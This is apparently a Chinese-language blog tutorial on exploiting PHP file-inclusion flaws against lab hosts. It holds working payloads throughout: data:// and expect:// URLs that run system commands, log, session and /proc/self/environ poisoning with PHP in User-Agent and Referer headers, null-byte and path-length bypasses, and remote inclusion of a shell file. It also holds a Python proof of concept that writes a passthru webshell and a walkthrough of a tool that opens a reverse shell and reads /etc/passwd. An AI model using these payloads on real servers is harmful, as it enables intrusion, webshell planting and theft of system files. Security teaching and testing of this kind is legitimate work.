标签归档:文件包含

【代码审计】PHP文件包含漏洞利用总结

0x01 概述

PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而导致意外的文件泄露甚至恶意的代码注入。涉及文件包含漏洞的四个函数如下:

include()

include_once()

require()

require_once()

reuqire() 如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句。

include() 如果出错的话,仍然会继续执行后续语句。

require_once()和 include_once()功能与require()和 include()类似,如果一个文件已经被包含过了,则不会再次包含。

 

0x02 类型

分为本地文件包含和远程文件包含:

1、本地文件包含

最简单的一个文件包含案例:

<?php @include($_GET["file"])?>
[root@vincent html]# curl 127.0.0.1:8080/post.php?file=../../../etc/issue

CentOS release 6.5 (Final)

Kernel \r on an \m

2、远程文件包含

可以解析远程服务器文件,但是存在限制,如下:

allow_url_fopen = On

allow_url_include = On

 

0x03 利用姿势

1、上传图片或者附件。

上传头像、发表帖子处等。

 

2php://input(allow_url_include = On)

 

3、data协议(allow_url_include = On)

172.16.100.168:8080/post.php?file=data:text/plain,<?php system(‘cat /etc/passwd’);?>

 

4、php://filter

http://172.16.100.168:8080/post.php?file=php://filter/read=convert.base64-encode/resource=post.php

 

5SESSION

需要在session中有可控的部分

[root@server120 html]# php --info | grep save_path

session.save_path => /var/lib/php/session => /var/lib/php/session

[root@server120 html]# ls -al /var/lib/php/session/sess_

sess_2oi1kg5p1kaheouge8717h6dv1

常见路径如下:

/var/lib/php/sess_PHPSESSID

/var/lib/php/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

测试程序session.php如下:

<?php

session_start();

// store session data

$_SESSION['views']=$_GET['username'];

?>

访问http://192.168.192.120/session.php?username=<?php phpinfo(); ?>

[root@server120 html]# cat /var/lib/php/session/sess_0afdh9b5n6i853akpl17ct1em6

views|s:19:"<?php phpinfo(); ?>";

包含session文件http://192.168.192.120/lfi.php?file=/var/lib/php/session/sess_0afdh9b5n6i853akpl17ct1em6

 

6access logerror log

1)需要知道log文件的路径

可以先读一下nginx、apache默认的配置文件位置,例如/usr/local/nginx/conf/nginx.conf、/etc/httpd/conf/httpd.conf等等

可以尝试包含 /proc/self/cmdline 或者/proc/self/fd/<fd number>找到log文件(需要Root权限)

2)需要有权限

如果apache是通过yum安装的话,那么默认log文件的位置是/var/log/httpd/

我们首先包含http://172.16.100.168:8080/post.php?file=../../../../../var/log/httpd/access_log

发现返回界面为空,可能权限不够,我们来看一下权限

[root@vincent log]# ls -ld httpd/

drwx------. 2 root root 4096 8月  15 04:08 httpd/

[root@vincent httpd]# ll access_log

-rw-r--r-- 1 root root 2562 8月  15 07:41 access_log

这里因为httpd目录的other权限为0,所有apache的默认启动账户apache是无法进入这个目录的,我们为了测试修改一下权限。

[root@vincent log]# chmod 701 httpd/

然后访问http://172.16.100.168:8080/post.php?file=../../../../../var/log/httpd/access_log发现可以包含到access_log了。

我们将UA修改为<?php phpinfo();?>就可以了。另外可以直接写到参数中,不过因为使用Firefox提交172.16.100.168:8080/post.php?file=<?php phpinfo();?>的话记录到日志的内容会将尖括号和空格进行URL编码,所以使用BURP提交。

但是如果access log文件太大,基本无法包含成功,可以尝试包含error log,error log一般小一些。

我们随便访问一个不存在的路径,然后增加个referer:<?php phpinfo();?>就可以了,来看下error_log

[Mon Aug 15 08:19:40 2016] [error] [client 172.16.100.1] File does not exist: /var/www/html/12324324, referer: <?php phpinfo();?>

 

7、包含/proc/self/environ(Root权限)

当前的USER_AGENT变量会被写进了这个文件,所以我们修改UA即可。比如我们将UA修改为<?php phpinfo(); ?>包含即可解析。

 

8、/proc/self/fd/*(Root权限)

 

[root@server120 html]# ls -al /proc/14954/fd/

总用量 0

dr-x------. 2 root   root    0 1月   2 09:44 .

dr-xr-xr-x. 8 apache apache  0 12月 31 03:10 ..

lr-x------. 1 root   root   64 1月   2 09:44 0 -> /dev/null

l-wx------. 1 root   root   64 1月   2 09:44 1 -> /dev/null

l-wx------. 1 root   root   64 1月   2 09:44 2 -> /var/log/httpd/error_log

lrwx------. 1 root   root   64 1月   2 09:44 3 -> socket:[27115085]

lrwx------. 1 root   root   64 1月   2 09:44 4 -> socket:[27115086]

lr-x------. 1 root   root   64 1月   2 09:44 5 -> pipe:[37229533]

l-wx------. 1 root   root   64 1月   2 09:44 6 -> pipe:[37229533]

l-wx------. 1 root   root   64 1月   2 09:44 7 -> /var/log/httpd/access_log

lr-x------. 1 root   root   64 1月   2 09:44 8 -> /dev/urandom

lrwx------. 1 root   root   64 1月   2 09:44 9 -> /

 

可以通过遍历FD来包含error_log文件。

 

9、利用LFIphpinfo getshell

利用条件:

1)需要知道phpinfo路径;

2)网站存在文件包含漏洞;

3)需要有Web目录的写入权限;

我们知道在向服务器上任意php文件post请求上传数据时,都会生成临时文件,我们可以在临时文件删除之前包含临时文件来生成Webshell,可以phpinfo页面找到临时文件的路径及名字。

利用脚本如下:

https://github.com/hxer/vulnapp/blob/master/lfi_phpinfo/poc/lfi_phpinfo.py

 

需要修改三处:

1)Webshell的位置

payload += '<?php $c=fopen("./shell.php", "w");fwrite($c, \'<?php passthru($_GET["f"]);?>\');?>'

这里生成在当前目录下

2)phpinfo文件的位置

req = 'POST {path}/phpinfo.php?a={padding} HTTP/1.1\r\n'.format(path=php_path, padding=padding)

3)文件包含文件的位置

lfi_req = 'GET {path}/post.php?file=%s HTTP/1.1\r\n'.format(path=php_path)

然后执行Python文件

[root@vincent tmp]# python lfi.py 127.0.0.1 -p 8080

LFI with phpinfo()

==============================

INFO:__main__:Getting initial offset ...

INFO:__main__:found [tmp_name] at 162448

INFO:__main__:

Got it! Shell created in /tmp/g

INFO:__main__:Wowo! \m/

INFO:__main__:Shutting down...

然后看一下生成

[root@vincent tmp]# cat /var/www/html/shell.php

<?php passthru($_GET["f"]);?>

 

10、expect://

首先PHP需要支持该扩展

[root@server120 expect-0.3.3]# pecl install channel://pecl.php.net/expect-0.3.3

报错:

checking for tcl version... configure: error: not found

ERROR: `/var/tmp/expect/configure' failed

添加软链

[root@server120 lib]# ln -s /usr/lib64/tcl8.5 /usr/lib/tcl8.5

php.ini添加extension=expect.so

[root@server120 tmp]# curl http://192.168.192.120/1.php?file=expect://whoami

apache

 

11、phar://(PHP版本 > 5.3)

文件info.php是phpinfo文件,压缩

[root@server120 html]# zip test.zip info.php

adding: info.php (stored 0%)

相对路径:http://192.168.192.120/lfi.php?file=phar://test.zip/info.php

绝对路径:http://192.168.192.120/lfi.php?file=phar:///var/www/html/test.zip/info.php

 

12、zip://(PHP版本 > 5.3)

构造zip包的方法同phar,与phar不同的是压缩包与压缩包中文件中间写成%23

相对路径:http://192.168.192.120/lfi.php?file=zip://test.zip%23info.php

绝对路径:http://192.168.192.120/lfi.php?file=zip:///var/www/html/test.zip%23info.php

 

13、/var/log/secure(Root权限)

使用PHP代码作为用户名登录:ssh ‘<?php phpinfo(); ?>’@192.168.192.120

[root@server120 html]# cat /var/log/secure | grep php

Jan  2 14:12:28 server120 sshd[17482]: Invalid user ‘<?php phpinfo(); ?>’ from 192.168.190.201

但是secure文件仅root可读。

[root@server120 html]# ls -al /var/log/secure

-rw——-. 1 root root 1471 1月   2 14:12 /var/log/secure

所以需要中间件是Root权限启动才行。

 

0x04 绕过

1、本地文件包含

修改lfi.php代码如下:

<?php include($_GET[“file”].”.jpg”)?>

1)%00截断(magic_quotes_gpc=off & PHP版本 < 5.3.4):

http://127.0.0.1/test/post.php?file=./phpinfo.php%00

2)路径长度截断(php版本 < 5.2.8 & linux文件名长于4096,windows长于256):

?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

3)点号截断(php版本 < 5.2.8 & window环境 & 点号需要长于256):

?file=../../../../../../../../../boot.ini/………[…]…………

 

2、远程文件包含

1)?file=http://example.com/shell.txt?

2)?file=http://example.com/shell.txt%23

 

0x05 自动化工具LFISuite

功能:

1、可以根据字典跑文件(自带字典pathtotest.txt和pathtotest_huge.txt)

2、可以获取LFI shell,并且反弹Bash。

支持8种方法:

 1) /proc/self/environ     

 2) php://filter           

 3) php://input            

 4) /proc/self/fd          

 5) access_log             

 6) phpinfo                

 7) data://                                 

 8) expect://

下载地址:git clone https://github.com/D35m0nd142/LFISuite.git

1、跑文件

--------------------

 1) Exploiter      

 2) Scanner        

x) Exit
--------------------

 -> 2



[*] Enter cookies if needed (ex: 'PHPSESSID=12345;par=something') [just enter if none] ->



[?] Do you want to enable TOR proxy ? (y/n) n



.:: LFI Scanner ::.



[*] Enter the name of the file containing the paths to test -> pathtotest.txt

[*] Enter the URL to scan (ex: 'http://site/vuln.php?id=') -> http://192.168.192.120/1.php?file=

[+] Retrieved 27 interesting paths.



 Logs: [0]

------------------------------------------------------------------------------------------

------------------------------------------------------------------------------------------



 /proc/self/environ: [0]

------------------------------------------------------------------------------------------

------------------------------------------------------------------------------------------



 /proc/self/fd: [0]

------------------------------------------------------------------------------------------

------------------------------------------------------------------------------------------



 Configuration: [0]

------------------------------------------------------------------------------------------

------------------------------------------------------------------------------------------



 Generic: [27]

------------------------------------------------------------------------------------------

http://192.168.192.120/1.php?file=/etc/passwd

http://192.168.192.120/1.php?file=/etc/group

......

2、获取LFI Shell

[*] Checking for LFISuite updates..

[-] No updates available.



--------------------

 1) Exploiter      

 2) Scanner        

x) Exit
--------------------

 -> 1



[*] Enter cookies if needed (ex: 'PHPSESSID=12345;par=something') [just enter if none] ->



[?] Do you want to enable TOR proxy ? (y/n) n



.:: LFI Exploiter ::.



____________________________



    Available Injections   

____________________________



 1) /proc/self/environ     

 2) php://filter           

 3) php://input            

 4) /proc/self/fd          

 5) access_log             

 6) phpinfo                

 7) data://                                 

 8) expect://                       

 9) Auto-Hack                              

x) Back    
____________________________



 -> 3



.:: php://input wrapper Injection ::.



[*] Enter the php://input vulnerable url (ex: 'http://site/index.php?page=') -> http://192.168.192.120/1.php?file=



[+] The website seems to be vulnerable. Opening a Shell..

[If you want to send PHP commands rather than system commands add php:// before them (ex: php:// fwrite(fopen('a.txt','w'),"content");]



apache@192.168.192.120:/var/www/html$ whoami

apache



apache@192.168.192.120:/var/www/html$ reverseshell

[WARNING] Make sure to have your netcat listening ('nc -lvp port') before going ahead.



[*] Enter the IP address to connect back to -> 192.168.192.120

[*] Enter the port to connect to [default: 12340] -> 2345

反弹shell

[root@server120 logs]# nc -vv -l -p 2345

Listening on any address 2345 (dbm)

Connection from 192.168.192.120:47651

bash: cannot set terminal process group (32241): Invalid argument

bash: no job control in this shell

bash-4.4$ cat /etc/passwd

cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin